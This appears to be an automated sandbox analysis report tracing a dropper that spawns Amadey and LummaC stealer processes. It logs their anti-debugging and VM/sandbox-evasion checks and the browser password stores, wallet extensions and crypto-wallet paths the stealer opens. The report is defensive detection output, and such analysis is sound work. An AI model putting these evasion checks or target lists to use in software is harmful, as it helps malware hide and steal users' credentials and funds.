Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7712	Thread sleep time: -80040s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7704	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7704	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7716	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7676	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe TID: 8004	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe TID: 8000	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe TID: 6208	Thread sleep count: 289 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe TID: 6208	Thread sleep count: 523 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe TID: 4548	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe TID: 7088	Thread sleep count: 6019 > 30
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe TID: 7088	Thread sleep count: 3450 > 30
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe TID: 3244	Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe TID: 3604	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe TID: 3368	Thread sleep count: 2037 > 30
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe TID: 3368	Thread sleep count: 1843 > 30
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe TID: 1308	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe TID: 4040	Thread sleep count: 409 > 30
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe TID: 4040	Thread sleep count: 1381 > 30
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe TID: 7240	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe TID: 7240	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe TID: 4908	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe TID: 7316	Thread sleep count: 198 > 30

Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File opened: C:\Users\user\AppData\Local\Temp\NvidiaDriver	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File opened: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000000.2300627232.0000000000CBE000.00000080.00000001.01000000.00000007.sdmp, 0tClIDb.exe, 0tClIDb.exe, 00000007.00000002.2680309900.0000000000FAD000.00000040.00000001.01000000.00000009.sdmp, file.exe, skotes.exe.0.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: skotes.exe, 00000006.00000002.2887135078.00000000014F6000.00000004.00000020.00020000.00000000.sdmp, 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000002.2837356691.000000000143E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: 9DNEMG3H6COYF8VY.exe, 00000009.00000002.2685107894.0000000000C23000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: skotes.exe, 00000006.00000002.2887135078.0000000001536000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2679731438.0000000000BBE000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2679805098.0000000000C10000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2678931983.0000000000C10000.00000004.00000020.00020000.00000000.sdmp, 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000002.2837425187.0000000001495000.00000004.00000020.00020000.00000000.sdmp, 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000003.2836534642.0000000001495000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1724303378.0000000000CBE000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1728625300.0000000000CBE000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmp, 0tClIDb.exe, 00000007.00000002.2680309900.0000000000FAD000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, skotes.exe.0.dr	Binary or memory string: \\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: NvidiaDriver.exe, 0000000A.00000002.2893624122.0000000005DC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04AA0250 Start: 04AA04BB End: 04AA038E		0_2_04AA0250
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0533041D Start: 0533059A End: 0533042E		6_2_0533041D

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04AA0C3B rdtsc

0_2_04AA0C3B

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004C652B mov eax, dword ptr fs:[00000030h]	0_2_004C652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004CA302 mov eax, dword ptr fs:[00000030h]	0_2_004CA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AFA302 mov eax, dword ptr fs:[00000030h]	1_2_00AFA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AF652B mov eax, dword ptr fs:[00000030h]	1_2_00AF652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00AFA302 mov eax, dword ptr fs:[00000030h]	2_2_00AFA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00AF652B mov eax, dword ptr fs:[00000030h]	2_2_00AF652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AFA302 mov eax, dword ptr fs:[00000030h]	6_2_00AFA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AF652B mov eax, dword ptr fs:[00000030h]	6_2_00AF652B

Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe "C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process created: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe "C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process created: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe "C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe" --vision
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process created: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe "C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe"

Source: skotes.exe, skotes.exe, 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmp, 0tClIDb.exe, 0tClIDb.exe, 00000007.00000002.2680309900.0000000000FAD000.00000040.00000001.01000000.00000009.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00ADDD91 cpuid

6_2_00ADDD91

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004ACBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_004ACBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00AC65E0 LookupAccountNameA,

6_2_00AC65E0

Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 0tClIDb.exe, 00000007.00000003.2679328186.0000000005891000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2691969648.0000000005893000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2627897970.0000000005891000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 1.2.skotes.exe.ac0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.ac0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.490000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.ac0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1728325404.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1724017680.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 0tClIDb.exe PID: 7872, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 0tClIDb.exe	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: 0tClIDb.exe	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: 0tClIDb.exe	String found in binary or memory: Wallets/JAXX New Version
Source: 0tClIDb.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 0tClIDb.exe	String found in binary or memory: ExodusWeb3
Source: 0tClIDb.exe, 00000007.00000003.2568363969.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
